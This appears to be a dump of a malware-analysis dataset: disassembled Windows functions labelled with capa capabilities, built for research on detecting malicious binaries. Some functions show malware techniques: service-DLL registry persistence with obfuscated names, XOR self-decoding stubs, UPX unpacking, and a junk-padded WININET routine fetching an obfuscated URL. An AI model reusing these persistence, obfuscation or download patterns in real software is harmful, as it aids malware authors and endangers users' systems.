joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402fd0
Capabilities:
Accept command line arguments
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov dword [esp], 1
call sub.ucrtbase.dll__configure_wide_argv
call sub.ucrtbase.dll__initialize_wide_environment
call sub.ucrtbase.dll___p___argc
mov esi, dword [eax]
call sub.ucrtbase.dll___p___wargv
mov edi, dword [eax]
call sub.ucrtbase.dll__get_initial_wide_environment
mov edx, 2
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov ecx, dword [eax + 0x3c]
cmp word [eax + ecx + 0x5c], 2
je 0x402fb0
mov edx, 1
mov dword [esp], edx
call sub.ucrtbase.dll__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call 0x402fd0
mov dword [esp], eax
call sub.ucrtbase.dll_exit
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x54
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov ebx, eax
movzx eax, word [eax]
test ax, ax
je 0x403027
xor ecx, ecx
xor edx, edx
jmp 0x403009
cmp ax, 0x5c
jne 0x403098
add edx, 1
movzx eax, word [ebx + 2]
add ebx, 2
test ax, ax
je 0x403027
cmp ax, 9
je 0x403015
cmp ax, 0x20
jne 0x402ff0
test ecx, ecx
je 0x403083
movzx eax, word [ebx + 2]
add ebx, 2
xor edx, edx
test ax, ax
jne 0x403009
lea eax, [ebp - 0x4c]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
sub esp, 4
test byte [ebp - 0x20], 1
je 0x4030b8
movzx esi, word [ebp - 0x1c]
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.00401550
sub esp, 0x10
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
add ebx, 2
movzx eax, word [ebx]
cmp ax, 9
je 0x403080
cmp ax, 0x20
je 0x403080
jmp 0x403027
cmp ax, 0x22
jne 0x403019
and edx, 1
jne 0x403019
xor ecx, 1
jmp 0x402ffd
mov eax, 1
mov esi, 1
mov word [ebp - 0x1c], ax
jmp 0x403040
Function at 0x1000ba60
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Sn_ivd_Jluvp_Qaqsaaa_F_oa
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.1000b980
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x24]
push str.SOFTWARE_d
push eax
call ebp
lea ecx, [esp + 0x90]
lea edx, [esp + 0x2c]
push ecx
push edx
call fcn.1000b9e0
add esp, 0x1c
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push 0x80000002
mov dword [esp + 0x38], 1
call dword [0x100193ac]
push str._QzqqmhSmlv__BhnaMdegoxf
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push str._QzqqmhSmlv__BhnaMdegoxf
push 2
push ebx
push str.ServiceDll
push eax
call dword [0x100193b0]
mov ecx, dword [esp + 0x10]
push ecx
call dword [0x10019360]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.1000b980
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.1000b9e0
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret
Function at 0x41cf80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x16000]
push edi
or ebp, 0xffffffff
jmp 0x41cfa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41cfa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41cf98
mov eax, 1
add ebx, ebx
jne 0x41cfbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41cfb0
jne 0x41cfcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41cfb0
xor ecx, ecx
sub eax, 3
jb 0x41cfe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41d052
mov ebp, eax
add ebx, ebx
jne 0x41cfeb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41cff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41d01c
inc ecx
add ebx, ebx
jne 0x41d008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41cffd
jne 0x41d019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41cffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41d03c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41d02d
jmp 0x41cf9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41d03c
add edi, ecx
jmp 0x41cf9e
pop esi
mov edi, esi
mov ecx, 0xa3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41d05a
cmp byte [edi], 6
jne 0x41d05a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41d05f
lea edi, [esi + 0x1a000]
mov eax, dword [edi]
or eax, eax
je 0x41d0d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x22f34]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x22f98]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41d08c
mov ecx, edi
jns 0x41d0bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x22f9c]
or eax, eax
je 0x41d0d1
mov dword [ebx], eax
add ebx, 4
jmp 0x41d0a9
call dword [esi + 0x22fac]
mov ebp, dword [esi + 0x22fa0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1d7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41d10b
sub esp, 0xffffff80
jmp 0x401850
Function at 0x4027da
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push 0
push 0x400000
call fcn.004015ac
mov dword [0x414040], eax
cmp dword [0x414014], 0
jne 0x403e75
push eax
call dword [sym.imp.MSVCR110_CLR0400.dll_exit]
push esi
mov esi, ecx
call dword [sym.imp.ole32.dll_CoReleaseServerProcess]
test eax, eax
jne 0x401692
mov dword [esi + 4], 1
pop esi
ret
call 0x53c000
push 0x14
push 0x402908
call fcn.00402010
and dword [ebp - 0x20], 0
call sub.MSVCR110_CLR0400.dll___crtGetShowWindowMode
movzx ebx, ax
and dword [ebp - 4], 0
mov eax, dword fs:[0x18]
mov edx, dword [eax + 4]
xor edi, edi
mov esi, 0x414148
mov ecx, edx
xor eax, eax
lock cmpxchg dword [esi], ecx
test eax, eax
jne 0x403dd8
xor esi, esi
inc esi
cmp dword [0x41414c], esi
je 0x403dea
cmp dword [0x41414c], 0
jne 0x402931
mov dword [0x41414c], esi
push 0x402904
push 0x4028f0
call sub.MSVCR110_CLR0400.dll__initterm_e
pop ecx
pop ecx
test eax, eax
jne 0x403df7
cmp dword [0x41414c], esi
jne 0x402879
push 0x4028ec
push 0x4028cc
call sub.MSVCR110_CLR0400.dll__initterm
pop ecx
pop ecx
mov dword [0x41414c], 2
test edi, edi
jne 0x402886
xor eax, eax
mov ecx, 0x414148
xchg dword [ecx], eax
cmp dword [0x414158], 0
jne 0x403e08
mov eax, dword [sym.imp.MSVCR110_CLR0400.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x1c], esi
mov edi, dword [ebp - 0x20]
mov cl, byte [esi]
cmp cl, 0x20
jbe 0x402924
cmp cl, 0x22
je 0x403e2c
movzx eax, cl
push eax
call dword [sym.imp.MSVCR110_CLR0400.dll__ismbblead]
pop ecx
test eax, eax
jne 0x403e3d
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x4028a0
test cl, cl
je 0x40293c
test edi, edi
je 0x40293c
jmp 0x4028a7
mov dword [0x414268], esi
jmp 0x402856
mov al, byte [esi]
test al, al
je 0x401657
cmp al, 0x20
ja 0x401657
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x40293c
cmp eax, edx
jne 0x40280b
xor esi, esi
inc esi
mov edi, esi
jmp 0x40281e
push 0x1f
call sub.MSVCR110_CLR0400.dll__amsg_exit
pop ecx
jmp 0x402856
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x403e90
push 0x414158
call fcn.0040f0a8
pop ecx
test eax, eax
je 0x402893
push 0
push 2
push 0
call dword [0x414158]
jmp 0x402893
xor eax, eax
test edi, edi
sete al
mov edi, eax
mov dword [ebp - 0x20], edi
jmp 0x4028b0
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x4028c3
cmp dword [0x414268], 0
jne 0x403e89
call dword [sym.imp.MSVCR110_CLR0400.dll__cexit]
mov eax, dword [0x414040]
mov dword [ebp - 4], 0xfffffffe
call fcn.004017d6
ret
Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130

Function at 0x484cee
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x484a08
sub edi, edi
call fcn.00484d25
sub edi, edi
sub esi, 0x66ac272e
xor dword [ebx], eax
inc esi
add edi, esi
sub edi, edi
add ebx, 2
add edi, 0xfe7f2b62
cmp ebx, edx
jl fcn.00484cee
inc edi
inc edi
ret
Function at 0x2448684
Capabilities:
Encode data using xor

Disassembly:
jmp 0x244868e
pushal
call 0x2448694
pop ebp
sub ebp, 0x10
sub ebp, 0x2048684
jmp 0x24486aa
mov eax, 0x2048684
add eax, ebp
add eax, 0x4c
mov ecx, 0x5bc
mov edx, 0x8691b80d
xor byte [eax], dl
inc eax
dec ecx
jne 0x24486c1
jmp 0x24486d4
xchg al, al
xchg byte [ecx + esi - 0x73f2f2f3], al
int3

Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130
Function at 0x401040
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402856
mov eax, dword fs:[0]
push eax
sub esp, 0xd0
push esi
push edi
mov eax, dword [0x405018]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x14], 8
mov dword [ebp - 0x10], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, esi
call dword [sym.imp.mfc100.dll_Ordinal_7141]
xor edi, edi
push edi
call dword [sym.imp.mfc100.dll_Ordinal_1890]
push 0xc
call dword [sym.imp.mfc100.dll_Ordinal_1294]
add esp, 8
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], edi
cmp eax, edi
je 0x4010b4
mov ecx, eax
call dword [sym.imp.mfc100.dll_Ordinal_849]
mov edi, eax
push str.AlbumEditor
mov ecx, esi
mov dword [ebp - 4], 0xffffffff
call dword [sym.imp.mfc100.dll_Ordinal_12672]
push 0
push 0x66
lea ecx, [ebp - 0xdc]
call dword [sym.imp.mfc100.dll_Ordinal_385]
mov dword [ebp - 4], 1
mov dword [ebp - 0xdc], 0x40371c
call dword [sym.imp.mfc100.dll_Ordinal_1929]
push 0x80
push 0xe
push 0x80
call dword [sym.imp.mfc100.dll_Ordinal_1900]
push eax
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0xdc]
mov dword [ebp - 4], 2
mov dword [esi + 0x20], ecx
call dword [sym.imp.mfc100.dll_Ordinal_3620]
test edi, edi
je 0x401130
mov edx, dword [edi]
mov eax, dword [edx + 4]
push 1
mov ecx, edi
call eax
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 4
call dword [sym.imp.mfc100.dll_Ordinal_948]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], vtable.CBrush.0
call fcn.004012f0
lea ecx, [ebp - 0xdc]
mov dword [ebp - 4], 0xffffffff
call dword [sym.imp.mfc100.dll_Ordinal_946]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401d30
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x405018]
jne 0x401d3a
repz ret
jmp fcn.004021ec
Function at 0x402750
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, dword [esp + 0x18]
cmp eax, 3
ja case.default.0x402761
jmp dword [eax*4 + 0x4039e4]
cmp dword [0x406148], 0
je 0x40285a
push 0x40614c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [0x406164]
test edi, edi
je 0x40284f
mov ebx, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4027ab
mov edi, dword [edi + 8]
test edi, edi
je 0x40284f
push dword [edi]
call ebx
mov esi, eax
call ebp
test eax, eax
jne 0x4027a0
test esi, esi
je 0x4027a0
mov eax, dword [edi + 4]
push esi
call eax
add esp, 4
jmp 0x4027a0
call fcn.00401ae0
jmp case.default.0x402761
cmp dword [0x406148], 0
je case.default.0x402761
push 0x40614c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [0x406164]
test edi, edi
je 0x402842
mov ebx, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x402807
mov edi, dword [edi + 8]
test edi, edi
je 0x402842
push dword [edi]
call ebx
mov esi, eax
call ebp
test eax, eax
jne 0x402800
test esi, esi
je 0x402800
mov eax, dword [edi + 4]
push esi
call eax
add esp, 4
jmp 0x402800
cmp dword [0x406148], 0
jne 0x402836
push 0x40614c
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x406148], 1
jmp case.default.0x402761
push 0x40614c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp case.default.0x402761
push 0x40614c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [0x406148]
cmp eax, 1
jne case.default.0x402761
mov eax, dword [0x406164]
test eax, eax
je 0x402882
nop dword [eax]
mov esi, dword [eax + 8]
push eax
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
add esp, 4
mov eax, esi
test esi, esi
jne 0x402870
mov dword [0x406164], 0
mov dword [0x406148], 0
push 0x40614c
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov eax, 1
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x4029b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push edi
push esi
mov esi, dword [0x403004]
movzx ecx, word [esi]
xor eax, eax
cmp ecx, 0x5a4d
jne 0x402a16
mov ecx, dword [esi + 0x3c]
cmp dword [esi + ecx], 0x4550
jne 0x402a16
add esi, ecx
movzx ecx, word [esi + 0x18]
cmp ecx, 0x10b
jne 0x402a16
movzx ecx, word [esi + 6]
test ecx, ecx
je 0x402a16
mov edx, dword [esp + 0xc]
sub edx, dword [0x403004]
movzx edi, word [esi + 0x14]
add esi, edi
add esi, 0x18
jmp 0x402a06
add esi, 0x28
dec ecx
je 0x402a16
mov edi, dword [esi + 0xc]
cmp edi, edx
ja 0x402a00
add edi, dword [esi + 8]
cmp edi, edx
jbe 0x402a00
mov eax, esi
pop esi
pop edi
ret
Function at 0x10011ee0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
push ebx
push esi
push edi
push 0x2c0
push str.tmdakh3625472166_167npc
call fcn.10013570
add esp, 8
cmp word [0x1001f1c2], 0
je 0x100120b8
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
push str.WININET.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xc], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov eax, dword [ebp - 0xc]
push str.InternetOpenA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__compatible_
call dword [ebp - 8]
mov dword [ebp - 0x10], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x10011f77
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov ecx, dword [ebp - 0xc]
push str.InternetOpenUrlA
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov edx, dword [ebp - 0x10]
push 0
push 0x80000100
push 0
push 0
push str.kwur9_qus_achfs__lo.hs_vyv
push edx
call dword [ebp - 8]
mov dword [ebp - 8], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov esi, dword [ebp - 8]
test esi, esi
jne 0x10011fd1
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, 0x1ff
xor eax, eax
lea edi, [ebp - 0x80f]
mov byte [ebp - 0x810], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ebx, dword [ebp - 0xc]
mov ecx, 0x200
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x810]
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetReadFile
push ebx
mov dword [ebp - 4], 0
call edi
lea ecx, [ebp - 4]
lea edx, [ebp - 0x810]
push ecx
push 0x800
push edx
push esi
call eax
push str.InternetCloseHandle
push ebx
call edi
push str.FreeLibrary
push str.KERNEL32.dll
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call edi
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
push eax
call esi
mov ecx, dword [ebp - 0x10]
push ecx
call esi
lea edx, [ebp - 0x810]
push 0x1001f688
push edx
call dword [sym.imp.MSVCRT.dll_strstr]
mov esi, eax
add esp, 8
test esi, esi
jne 0x10012072
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [ebp - 0x810]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [ebp - 0x810]
sub ecx, edx
push ecx
push eax
push str.tmdakh3625472166_167npc
call dword [sym.imp.MSVCRT.dll_strncpy]
inc esi
push esi
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0x10
mov word [0x1001f1c0], ax
push ebx
call dword [ebp - 0xc]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret